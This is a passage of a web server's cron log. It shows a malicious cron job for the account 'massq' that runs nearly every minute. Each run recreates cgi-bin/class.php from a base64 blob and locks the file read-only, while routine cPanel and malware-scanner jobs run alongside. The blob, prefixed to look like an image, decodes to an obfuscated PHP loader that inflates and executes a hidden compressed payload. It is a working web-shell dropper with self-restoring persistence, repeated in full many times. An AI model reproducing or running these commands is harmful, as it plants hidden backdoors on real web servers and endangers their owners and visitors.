Q09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:56:01 server CROND[2642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:57:01 server CROND[2754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:57:01 server CROND[2755]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 06:58:01 server CROND[2900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:59:01 server CROND[2963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:00:01 server CROND[3015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:00:01 server CROND[3016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:00:01 server CROND[3019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:00:01 server CROND[3018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:01:01 server CROND[3123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:01:01 server CROND[3122]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 07:01:01 server run-parts(/etc/cron.hourly)[3122]: starting 0anacron
Apr 12 07:01:01 server run-parts(/etc/cron.hourly)[3135]: finished 0anacron
Apr 12 07:02:01 server CROND[3178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:03:01 server CROND[3230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:04:01 server CROND[3387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:05:01 server CROND[3432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:05:01 server CROND[3435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 07:05:01 server CROND[3433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:05:01 server CROND[3436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:06:01 server CROND[3530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:07:01 server CROND[3585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:08:01 server CROND[3628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:09:01 server CROND[3686]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
